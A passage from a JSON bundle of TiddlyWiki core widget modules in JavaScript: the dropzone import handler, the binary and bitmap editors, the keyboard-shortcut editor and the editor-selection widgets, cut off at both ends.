            "text": "/*\\\ntitle: $:/core/modules/widgets/dropzone.js\ntype: application/javascript\nmodule-type: widget\n\nDropzone widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar DropZoneWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nDropZoneWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nDropZoneWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Remember parent\n\tthis.parentDomNode = parent;\n\t// Compute attributes and execute state\n\tthis.computeAttributes();\n\tthis.execute();\n\t// Create element\n\tvar domNode = this.document.createElement(\"div\");\n\tdomNode.className = \"tc-dropzone\";\n\t// Add event handlers\n\t$tw.utils.addEventListeners(domNode,[\n\t\t{name: \"dragenter\", handlerObject: this, handlerMethod: \"handleDragEnterEvent\"},\n\t\t{name: \"dragover\", handlerObject: this, handlerMethod: \"handleDragOverEvent\"},\n\t\t{name: \"dragleave\", handlerObject: this, handlerMethod: \"handleDragLeaveEvent\"},\n\t\t{name: \"drop\", handlerObject: this, handlerMethod: \"handleDropEvent\"},\n\t\t{name: \"paste\", handlerObject: this, handlerMethod: \"handlePasteEvent\"}\n\t]);\n\tdomNode.addEventListener(\"click\",function (event) {\n\t},false);\n\t// Insert element\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n\t// Stack of outstanding enter/leave events\n\tthis.currentlyEntered = [];\n};\n\nDropZoneWidget.prototype.enterDrag = function(event) {\n\tif(this.currentlyEntered.indexOf(event.target) === -1) {\n\t\tthis.currentlyEntered.push(event.target);\n\t}\n\t// If we're entering for the first time we need to apply highlighting\n\t$tw.utils.addClass(this.domNodes[0],\"tc-dragover\");\n};\n\nDropZoneWidget.prototype.leaveDrag = function(event) {\n\tvar pos = this.currentlyEntered.indexOf(event.target);\n\tif(pos !== -1) {\n\t\tthis.currentlyEntered.splice(pos,1);\n\t}\n\t// Remove highlighting if we're leaving externally\n\tif(this.currentlyEntered.length === 0) {\n\t\t$tw.utils.removeClass(this.domNodes[0],\"tc-dragover\");\n\t}\n};\n\nDropZoneWidget.prototype.handleDragEnterEvent  = function(event) {\n\t// Check for this window being the source of the drag\n\tif($tw.dragInProgress) {\n\t\treturn false;\n\t}\n\tthis.enterDrag(event);\n\t// Tell the browser that we're ready to handle the drop\n\tevent.preventDefault();\n\t// Tell the browser not to ripple the drag up to any parent drop handlers\n\tevent.stopPropagation();\n};\n\nDropZoneWidget.prototype.handleDragOverEvent  = function(event) {\n\t// Check for being over a TEXTAREA or INPUT\n\tif([\"TEXTAREA\",\"INPUT\"].indexOf(event.target.tagName) !== -1) {\n\t\treturn false;\n\t}\n\t// Check for this window being the source of the drag\n\tif($tw.dragInProgress) {\n\t\treturn false;\n\t}\n\t// Tell the browser that we're still interested in the drop\n\tevent.preventDefault();\n\tevent.dataTransfer.dropEffect = \"copy\"; // Explicitly show this is a copy\n};\n\nDropZoneWidget.prototype.handleDragLeaveEvent  = function(event) {\n\tthis.leaveDrag(event);\n};\n\nDropZoneWidget.prototype.handleDropEvent  = function(event) {\n\tvar self = this,\n\t\treadFileCallback = function(tiddlerFieldsArray) {\n\t\t\tself.dispatchEvent({type: \"tm-import-tiddlers\", param: JSON.stringify(tiddlerFieldsArray)});\n\t\t};\n\tthis.leaveDrag(event);\n\t// Check for being over a TEXTAREA or INPUT\n\tif([\"TEXTAREA\",\"INPUT\"].indexOf(event.target.tagName) !== -1) {\n\t\treturn false;\n\t}\n\t// Check for this window being the source of the drag\n\tif($tw.dragInProgress) {\n\t\treturn false;\n\t}\n\tvar self = this,\n\t\tdataTransfer = event.dataTransfer;\n\t// Remove highlighting\n\t$tw.utils.removeClass(this.domNodes[0],\"tc-dragover\");\n\t// Import any files in the drop\n\tvar numFiles = 0;\n\tif(dataTransfer.files) {\n\t\tnumFiles = this.wiki.readFiles(dataTransfer.files,{\n\t\t\tcallback: readFileCallback,\n\t\t\tdeserializer: this.dropzoneDeserializer\n\t\t});\n\t}\n\t// Try to import the various data types we understand\n\tif(numFiles === 0) {\n\t\t$tw.utils.importDataTransfer(dataTransfer,this.wiki.generateNewTitle(\"Untitled\"),readFileCallback);\n\t}\n\t// Tell the browser that we handled the drop\n\tevent.preventDefault();\n\t// Stop the drop ripple up to any parent handlers\n\tevent.stopPropagation();\n};\n\nDropZoneWidget.prototype.handlePasteEvent  = function(event) {\n\tvar self = this,\n\t\treadFileCallback = function(tiddlerFieldsArray) {\n\t\t\tself.dispatchEvent({type: \"tm-import-tiddlers\", param: JSON.stringify(tiddlerFieldsArray)});\n\t\t};\n\t// Let the browser handle it if we're in a textarea or input box\n\tif([\"TEXTAREA\",\"INPUT\"].indexOf(event.target.tagName) == -1 && !event.target.isContentEditable) {\n\t\tvar self = this,\n\t\t\titems = event.clipboardData.items;\n\t\t// Enumerate the clipboard items\n\t\tfor(var t = 0; t<items.length; t++) {\n\t\t\tvar item = items[t];\n\t\t\tif(item.kind === \"file\") {\n\t\t\t\t// Import any files\n\t\t\t\tthis.wiki.readFile(item.getAsFile(),{\n\t\t\t\t\tcallback: readFileCallback,\n\t\t\t\t\tdeserializer: this.dropzoneDeserializer\n\t\t\t\t});\n\t\t\t} else if(item.kind === \"string\") {\n\t\t\t\t// Create tiddlers from string items\n\t\t\t\tvar type = item.type;\n\t\t\t\titem.getAsString(function(str) {\n\t\t\t\t\tvar tiddlerFields = {\n\t\t\t\t\t\ttitle: self.wiki.generateNewTitle(\"Untitled\"),\n\t\t\t\t\t\ttext: str,\n\t\t\t\t\t\ttype: type\n\t\t\t\t\t};\n\t\t\t\t\tif($tw.log.IMPORT) {\n\t\t\t\t\t\tconsole.log(\"Importing string '\" + str + \"', type: '\" + type + \"'\");\n\t\t\t\t\t}\n\t\t\t\t\tself.dispatchEvent({type: \"tm-import-tiddlers\", param: JSON.stringify([tiddlerFields])});\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t\t// Tell the browser that we've handled the paste\n\t\tevent.stopPropagation();\n\t\tevent.preventDefault();\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nDropZoneWidget.prototype.execute = function() {\n\tthis.dropzoneDeserializer = this.getAttribute(\"deserializer\");\n\t// Make child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nDropZoneWidget.prototype.refresh = function(changedTiddlers) {\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.dropzone = DropZoneWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/edit-binary.js": {
            "title": "$:/core/modules/widgets/edit-binary.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/edit-binary.js\ntype: application/javascript\nmodule-type: widget\n\nEdit-binary widget; placeholder for editing binary tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar BINARY_WARNING_MESSAGE = \"$:/core/ui/BinaryWarning\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar EditBinaryWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nEditBinaryWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nEditBinaryWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nEditBinaryWidget.prototype.execute = function() {\n\t// Construct the child widgets\n\tthis.makeChildWidgets([{\n\t\ttype: \"transclude\",\n\t\tattributes: {\n\t\t\ttiddler: {type: \"string\", value: BINARY_WARNING_MESSAGE}\n\t\t}\n\t}]);\n};\n\n/*\nRefresh by refreshing our child widget\n*/\nEditBinaryWidget.prototype.refresh = function(changedTiddlers) {\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports[\"edit-binary\"] = EditBinaryWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/edit-bitmap.js": {
            "title": "$:/core/modules/widgets/edit-bitmap.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/edit-bitmap.js\ntype: application/javascript\nmodule-type: widget\n\nEdit-bitmap widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Default image sizes\nvar DEFAULT_IMAGE_WIDTH = 600,\n\tDEFAULT_IMAGE_HEIGHT = 370;\n\n// Configuration tiddlers\nvar LINE_WIDTH_TITLE = \"$:/config/BitmapEditor/LineWidth\",\n\tLINE_COLOUR_TITLE = \"$:/config/BitmapEditor/Colour\",\n\tLINE_OPACITY_TITLE = \"$:/config/BitmapEditor/Opacity\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar EditBitmapWidget = function(parseTreeNode,options) {\n\t// Initialise the editor operations if they've not been done already\n\tif(!this.editorOperations) {\n\t\tEditBitmapWidget.prototype.editorOperations = {};\n\t\t$tw.modules.applyMethods(\"bitmapeditoroperation\",this.editorOperations);\n\t}\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nEditBitmapWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nEditBitmapWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\t// Create the wrapper for the toolbar and render its content\n\tthis.toolbarNode = this.document.createElement(\"div\");\n\tthis.toolbarNode.className = \"tc-editor-toolbar\";\n\tparent.insertBefore(this.toolbarNode,nextSibling);\n\tthis.domNodes.push(this.toolbarNode);\n\t// Create the on-screen canvas\n\tthis.canvasDomNode = $tw.utils.domMaker(\"canvas\",{\n\t\tdocument: this.document,\n\t\t\"class\":\"tc-edit-bitmapeditor\",\n\t\teventListeners: [{\n\t\t\tname: \"touchstart\", handlerObject: this, handlerMethod: \"handleTouchStartEvent\"\n\t\t},{\n\t\t\tname: \"touchmove\", handlerObject: this, handlerMethod: \"handleTouchMoveEvent\"\n\t\t},{\n\t\t\tname: \"touchend\", handlerObject: this, handlerMethod: \"handleTouchEndEvent\"\n\t\t},{\n\t\t\tname: \"mousedown\", handlerObject: this, handlerMethod: \"handleMouseDownEvent\"\n\t\t},{\n\t\t\tname: \"mousemove\", handlerObject: this, handlerMethod: \"handleMouseMoveEvent\"\n\t\t},{\n\t\t\tname: \"mouseup\", handlerObject: this, handlerMethod: \"handleMouseUpEvent\"\n\t\t}]\n\t});\n\t// Set the width and height variables\n\tthis.setVariable(\"tv-bitmap-editor-width\",this.canvasDomNode.width + \"px\");\n\tthis.setVariable(\"tv-bitmap-editor-height\",this.canvasDomNode.height + \"px\");\n\t// Render toolbar child widgets\n\tthis.renderChildren(this.toolbarNode,null);\n\t// // Insert the elements into the DOM\n\tparent.insertBefore(this.canvasDomNode,nextSibling);\n\tthis.domNodes.push(this.canvasDomNode);\n\t// Load the image into the canvas\n\tif($tw.browser) {\n\t\tthis.loadCanvas();\n\t}\n\t// Add widget message listeners\n\tthis.addEventListeners([\n\t\t{type: \"tm-edit-bitmap-operation\", handler: \"handleEditBitmapOperationMessage\"}\n\t]);\n};\n\n/*\nHandle an edit bitmap operation message from the toolbar\n*/\nEditBitmapWidget.prototype.handleEditBitmapOperationMessage = function(event) {\n\t// Invoke the handler\n\tvar handler = this.editorOperations[event.param];\n\tif(handler) {\n\t\thandler.call(this,event);\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nEditBitmapWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.editTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\t// Make the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nJust refresh the toolbar\n*/\nEditBitmapWidget.prototype.refresh = function(changedTiddlers) {\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nSet the bitmap size variables and refresh the toolbar\n*/\nEditBitmapWidget.prototype.refreshToolbar = function() {\n\t// Set the width and height variables\n\tthis.setVariable(\"tv-bitmap-editor-width\",this.canvasDomNode.width + \"px\");\n\tthis.setVariable(\"tv-bitmap-editor-height\",this.canvasDomNode.height + \"px\");\n\t// Refresh each of our child widgets\n\t$tw.utils.each(this.children,function(childWidget) {\n\t\tchildWidget.refreshSelf();\n\t});\n};\n\nEditBitmapWidget.prototype.loadCanvas = function() {\n\tvar tiddler = this.wiki.getTiddler(this.editTitle),\n\t\tcurrImage = new Image();\n\t// Set up event handlers for loading the image\n\tvar self = this;\n\tcurrImage.onload = function() {\n\t\t// Copy the image to the on-screen canvas\n\t\tself.initCanvas(self.canvasDomNode,currImage.width,currImage.height,currImage);\n\t\t// And also copy the current bitmap to the off-screen canvas\n\t\tself.currCanvas = self.document.createElement(\"canvas\");\n\t\tself.initCanvas(self.currCanvas,currImage.width,currImage.height,currImage);\n\t\t// Set the width and height input boxes\n\t\tself.refreshToolbar();\n\t};\n\tcurrImage.onerror = function() {\n\t\t// Set the on-screen canvas size and clear it\n\t\tself.initCanvas(self.canvasDomNode,DEFAULT_IMAGE_WIDTH,DEFAULT_IMAGE_HEIGHT);\n\t\t// Set the off-screen canvas size and clear it\n\t\tself.currCanvas = self.document.createElement(\"canvas\");\n\t\tself.initCanvas(self.currCanvas,DEFAULT_IMAGE_WIDTH,DEFAULT_IMAGE_HEIGHT);\n\t\t// Set the width and height input boxes\n\t\tself.refreshToolbar();\n\t};\n\t// Get the current bitmap into an image object\n\tcurrImage.src = \"data:\" + tiddler.fields.type + \";base64,\" + tiddler.fields.text;\n};\n\nEditBitmapWidget.prototype.initCanvas = function(canvas,width,height,image) {\n\tcanvas.width = width;\n\tcanvas.height = height;\n\tvar ctx = canvas.getContext(\"2d\");\n\tif(image) {\n\t\tctx.drawImage(image,0,0);\n\t} else {\n\t\tctx.fillStyle = \"#fff\";\n\t\tctx.fillRect(0,0,canvas.width,canvas.height);\n\t}\n};\n\n/*\n** Change the size of the canvas, preserving the current image\n*/\nEditBitmapWidget.prototype.changeCanvasSize = function(newWidth,newHeight) {\n\t// Create and size a new canvas\n\tvar newCanvas = this.document.createElement(\"canvas\");\n\tthis.initCanvas(newCanvas,newWidth,newHeight);\n\t// Copy the old image\n\tvar ctx = newCanvas.getContext(\"2d\");\n\tctx.drawImage(this.currCanvas,0,0);\n\t// Set the new canvas as the current one\n\tthis.currCanvas = newCanvas;\n\t// Set the size of the onscreen canvas\n\tthis.canvasDomNode.width = newWidth;\n\tthis.canvasDomNode.height = newHeight;\n\t// Paint the onscreen canvas with the offscreen canvas\n\tctx = this.canvasDomNode.getContext(\"2d\");\n\tctx.drawImage(this.currCanvas,0,0);\n};\n\n/*\n** Rotate the canvas left by 90 degrees\n*/\nEditBitmapWidget.prototype.rotateCanvasLeft = function() {\n\t// Get the current size of the image\n\tvar origWidth = this.currCanvas.width,\n\t\torigHeight = this.currCanvas.height;\n\t// Create and size a new canvas\n\tvar newCanvas = this.document.createElement(\"canvas\"),\n\t\tnewWidth = origHeight,\n\t\tnewHeight = origWidth;\n\tthis.initCanvas(newCanvas,newWidth,newHeight);\n\t// Copy the old image\n\tvar ctx = newCanvas.getContext(\"2d\");\n\tctx.save();\n\tctx.translate(newWidth / 2,newHeight / 2);\n\tctx.rotate(-Math.PI / 2);\n\tctx.drawImage(this.currCanvas,-origWidth / 2,-origHeight / 2);\n\tctx.restore();\n\t// Set the new canvas as the current one\n\tthis.currCanvas = newCanvas;\n\t// Set the size of the onscreen canvas\n\tthis.canvasDomNode.width = newWidth;\n\tthis.canvasDomNode.height = newHeight;\n\t// Paint the onscreen canvas with the offscreen canvas\n\tctx = this.canvasDomNode.getContext(\"2d\");\n\tctx.drawImage(this.currCanvas,0,0);\n};\n\nEditBitmapWidget.prototype.handleTouchStartEvent = function(event) {\n\tthis.brushDown = true;\n\tthis.strokeStart(event.touches[0].clientX,event.touches[0].clientY);\n\tevent.preventDefault();\n\tevent.stopPropagation();\n\treturn false;\n};\n\nEditBitmapWidget.prototype.handleTouchMoveEvent = function(event) {\n\tif(this.brushDown) {\n\t\tthis.strokeMove(event.touches[0].clientX,event.touches[0].clientY);\n\t}\n\tevent.preventDefault();\n\tevent.stopPropagation();\n\treturn false;\n};\n\nEditBitmapWidget.prototype.handleTouchEndEvent = function(event) {\n\tif(this.brushDown) {\n\t\tthis.brushDown = false;\n\t\tthis.strokeEnd();\n\t}\n\tevent.preventDefault();\n\tevent.stopPropagation();\n\treturn false;\n};\n\nEditBitmapWidget.prototype.handleMouseDownEvent = function(event) {\n\tthis.strokeStart(event.clientX,event.clientY);\n\tthis.brushDown = true;\n\tevent.preventDefault();\n\tevent.stopPropagation();\n\treturn false;\n};\n\nEditBitmapWidget.prototype.handleMouseMoveEvent = function(event) {\n\tif(this.brushDown) {\n\t\tthis.strokeMove(event.clientX,event.clientY);\n\t\tevent.preventDefault();\n\t\tevent.stopPropagation();\n\t\treturn false;\n\t}\n\treturn true;\n};\n\nEditBitmapWidget.prototype.handleMouseUpEvent = function(event) {\n\tif(this.brushDown) {\n\t\tthis.brushDown = false;\n\t\tthis.strokeEnd();\n\t\tevent.preventDefault();\n\t\tevent.stopPropagation();\n\t\treturn false;\n\t}\n\treturn true;\n};\n\nEditBitmapWidget.prototype.adjustCoordinates = function(x,y) {\n\tvar canvasRect = this.canvasDomNode.getBoundingClientRect(),\n\t\tscale = this.canvasDomNode.width/canvasRect.width;\n\treturn {x: (x - canvasRect.left) * scale, y: (y - canvasRect.top) * scale};\n};\n\nEditBitmapWidget.prototype.strokeStart = function(x,y) {\n\t// Start off a new stroke\n\tthis.stroke = [this.adjustCoordinates(x,y)];\n};\n\nEditBitmapWidget.prototype.strokeMove = function(x,y) {\n\tvar ctx = this.canvasDomNode.getContext(\"2d\"),\n\t\tt;\n\t// Add the new position to the end of the stroke\n\tthis.stroke.push(this.adjustCoordinates(x,y));\n\t// Redraw the previous image\n\tctx.drawImage(this.currCanvas,0,0);\n\t// Render the stroke\n\tctx.globalAlpha = parseFloat(this.wiki.getTiddlerText(LINE_OPACITY_TITLE,\"1.0\"));\n\tctx.strokeStyle = this.wiki.getTiddlerText(LINE_COLOUR_TITLE,\"#ff0\");\n\tctx.lineWidth = parseFloat(this.wiki.getTiddlerText(LINE_WIDTH_TITLE,\"3\"));\n\tctx.lineCap = \"round\";\n\tctx.lineJoin = \"round\";\n\tctx.beginPath();\n\tctx.moveTo(this.stroke[0].x,this.stroke[0].y);\n\tfor(t=1; t<this.stroke.length-1; t++) {\n\t\tvar s1 = this.stroke[t],\n\t\t\ts2 = this.stroke[t-1],\n\t\t\ttx = (s1.x + s2.x)/2,\n\t\t\tty = (s1.y + s2.y)/2;\n\t\tctx.quadraticCurveTo(s2.x,s2.y,tx,ty);\n\t}\n\tctx.stroke();\n};\n\nEditBitmapWidget.prototype.strokeEnd = function() {\n\t// Copy the bitmap to the off-screen canvas\n\tvar ctx = this.currCanvas.getContext(\"2d\");\n\tctx.drawImage(this.canvasDomNode,0,0);\n\t// Save the image into the tiddler\n\tthis.saveChanges();\n};\n\nEditBitmapWidget.prototype.saveChanges = function() {\n\tvar tiddler = this.wiki.getTiddler(this.editTitle);\n\tif(tiddler) {\n\t\t// data URIs look like \"data:<type>;base64,<text>\"\n\t\tvar dataURL = this.canvasDomNode.toDataURL(tiddler.fields.type),\n\t\t\tposColon = dataURL.indexOf(\":\"),\n\t\t\tposSemiColon = dataURL.indexOf(\";\"),\n\t\t\tposComma = dataURL.indexOf(\",\"),\n\t\t\ttype = dataURL.substring(posColon+1,posSemiColon),\n\t\t\ttext = dataURL.substring(posComma+1);\n\t\tvar update = {type: type, text: text};\n\t\tthis.wiki.addTiddler(new $tw.Tiddler(this.wiki.getModificationFields(),tiddler,update,this.wiki.getCreationFields()));\n\t}\n};\n\nexports[\"edit-bitmap\"] = EditBitmapWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/edit-shortcut.js": {
            "title": "$:/core/modules/widgets/edit-shortcut.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/edit-shortcut.js\ntype: application/javascript\nmodule-type: widget\n\nWidget to display an editable keyboard shortcut\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar EditShortcutWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nEditShortcutWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nEditShortcutWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.inputNode = this.document.createElement(\"input\");\n\t// Assign classes\n\tif(this.shortcutClass) {\n\t\tthis.inputNode.className = this.shortcutClass;\t\t\n\t}\n\t// Assign other attributes\n\tif(this.shortcutStyle) {\n\t\tthis.inputNode.setAttribute(\"style\",this.shortcutStyle);\n\t}\n\tif(this.shortcutTooltip) {\n\t\tthis.inputNode.setAttribute(\"title\",this.shortcutTooltip);\n\t}\n\tif(this.shortcutPlaceholder) {\n\t\tthis.inputNode.setAttribute(\"placeholder\",this.shortcutPlaceholder);\n\t}\n\tif(this.shortcutAriaLabel) {\n\t\tthis.inputNode.setAttribute(\"aria-label\",this.shortcutAriaLabel);\n\t}\n\t// Assign the current shortcut\n\tthis.updateInputNode();\n\t// Add event handlers\n\t$tw.utils.addEventListeners(this.inputNode,[\n\t\t{name: \"keydown\", handlerObject: this, handlerMethod: \"handleKeydownEvent\"}\n\t]);\n\t// Link into the DOM\n\tparent.insertBefore(this.inputNode,nextSibling);\n\tthis.domNodes.push(this.inputNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nEditShortcutWidget.prototype.execute = function() {\n\tthis.shortcutTiddler = this.getAttribute(\"tiddler\");\n\tthis.shortcutField = this.getAttribute(\"field\");\n\tthis.shortcutIndex = this.getAttribute(\"index\");\n\tthis.shortcutPlaceholder = this.getAttribute(\"placeholder\");\n\tthis.shortcutDefault = this.getAttribute(\"default\",\"\");\n\tthis.shortcutClass = this.getAttribute(\"class\");\n\tthis.shortcutStyle = this.getAttribute(\"style\");\n\tthis.shortcutTooltip = this.getAttribute(\"tooltip\");\n\tthis.shortcutAriaLabel = this.getAttribute(\"aria-label\");\n};\n\n/*\nUpdate the value of the input node\n*/\nEditShortcutWidget.prototype.updateInputNode = function() {\n\tif(this.shortcutField) {\n\t\tvar tiddler = this.wiki.getTiddler(this.shortcutTiddler);\n\t\tif(tiddler && $tw.utils.hop(tiddler.fields,this.shortcutField)) {\n\t\t\tthis.inputNode.value = tiddler.getFieldString(this.shortcutField);\n\t\t} else {\n\t\t\tthis.inputNode.value = this.shortcutDefault;\n\t\t}\n\t} else if(this.shortcutIndex) {\n\t\tthis.inputNode.value = this.wiki.extractTiddlerDataItem(this.shortcutTiddler,this.shortcutIndex,this.shortcutDefault);\n\t} else {\n\t\tthis.inputNode.value = this.wiki.getTiddlerText(this.shortcutTiddler,this.shortcutDefault);\n\t}\n};\n\n/*\nHandle a dom \"keydown\" event\n*/\nEditShortcutWidget.prototype.handleKeydownEvent = function(event) {\n\t// Ignore shift, ctrl, meta, alt\n\tif(event.keyCode && $tw.keyboardManager.getModifierKeys().indexOf(event.keyCode) === -1) {\n\t\t// Get the shortcut text representation\n\t\tvar value = $tw.keyboardManager.getPrintableShortcuts([{\n\t\t\tctrlKey: event.ctrlKey,\n\t\t\tshiftKey: event.shiftKey,\n\t\t\taltKey: event.altKey,\n\t\t\tmetaKey: event.metaKey,\n\t\t\tkeyCode: event.keyCode\n\t\t}]);\n\t\tif(value.length > 0) {\n\t\t\tthis.wiki.setText(this.shortcutTiddler,this.shortcutField,this.shortcutIndex,value[0]);\n\t\t}\n\t\t// Ignore the keydown if it was already handled\n\t\tevent.preventDefault();\n\t\tevent.stopPropagation();\n\t\treturn true;\t\t\n\t} else {\n\t\treturn false;\n\t}\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget needed re-rendering\n*/\nEditShortcutWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tiddler || changedAttributes.field || changedAttributes.index || changedAttributes.placeholder || changedAttributes[\"default\"] || changedAttributes[\"class\"] || changedAttributes.style || changedAttributes.tooltip || changedAttributes[\"aria-label\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else if(changedTiddlers[this.shortcutTiddler]) {\n\t\tthis.updateInputNode();\n\t\treturn true;\n\t} else {\n\t\treturn false;\t\n\t}\n};\n\nexports[\"edit-shortcut\"] = EditShortcutWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/edit-text.js": {
            "title": "$:/core/modules/widgets/edit-text.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/edit-text.js\ntype: application/javascript\nmodule-type: widget\n\nEdit-text widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar editTextWidgetFactory = require(\"$:/core/modules/editor/factory.js\").editTextWidgetFactory,\n\tFramedEngine = require(\"$:/core/modules/editor/engines/framed.js\").FramedEngine,\n\tSimpleEngine = require(\"$:/core/modules/editor/engines/simple.js\").SimpleEngine;\n\nexports[\"edit-text\"] = editTextWidgetFactory(FramedEngine,SimpleEngine);\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/edit.js": {
            "title": "$:/core/modules/widgets/edit.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/edit.js\ntype: application/javascript\nmodule-type: widget\n\nEdit widget is a meta-widget chooses the appropriate actual editting widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar EditWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nEditWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nEditWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n// Mappings from content type to editor type are stored in tiddlers with this prefix\nvar EDITOR_MAPPING_PREFIX = \"$:/config/EditorTypeMappings/\";\n\n/*\nCompute the internal state of the widget\n*/\nEditWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.editTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.editField = this.getAttribute(\"field\",\"text\");\n\tthis.editIndex = this.getAttribute(\"index\");\n\tthis.editClass = this.getAttribute(\"class\");\n\tthis.editPlaceholder = this.getAttribute(\"placeholder\");\n\t// Choose the appropriate edit widget\n\tthis.editorType = this.getEditorType();\n\t// Make the child widgets\n\tthis.makeChildWidgets([{\n\t\ttype: \"edit-\" + this.editorType,\n\t\tattributes: {\n\t\t\ttiddler: {type: \"string\", value: this.editTitle},\n\t\t\tfield: {type: \"string\", value: this.editField},\n\t\t\tindex: {type: \"string\", value: this.editIndex},\n\t\t\t\"class\": {type: \"string\", value: this.editClass},\n\t\t\t\"placeholder\": {type: \"string\", value: this.editPlaceholder}\n\t\t},\n\t\tchildren: this.parseTreeNode.children\n\t}]);\n};\n\nEditWidget.prototype.getEditorType = function() {\n\t// Get the content type of the thing we're editing\n\tvar type;\n\tif(this.editField === \"text\") {\n\t\tvar tiddler = this.wiki.getTiddler(this.editTitle);\n\t\tif(tiddler) {\n\t\t\ttype = tiddler.fields.type;\n\t\t}\n\t}\n\ttype = type || \"text/vnd.tiddlywiki\";\n\tvar editorType = this.wiki.getTiddlerText(EDITOR_MAPPING_PREFIX + type);\n\tif(!editorType) {\n\t\tvar typeInfo = $tw.config.contentTypeInfo[type];\n\t\tif(typeInfo && typeInfo.encoding === \"base64\") {\n\t\t\teditorType = \"binary\";\n\t\t} else {\n\t\t\teditorType = \"text\";\n\t\t}\n\t}\n\treturn editorType;\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nEditWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\t// Refresh if an attribute has changed, or the type associated with the target tiddler has changed\n\tif(changedAttributes.tiddler || changedAttributes.field || changedAttributes.index || (changedTiddlers[this.editTitle] && this.getEditorType() !== this.editorType)) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\t\t\n\t}\n};\n\nexports.edit = EditWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/element.js": {
            "title": "$:/core/modules/widgets/element.js",
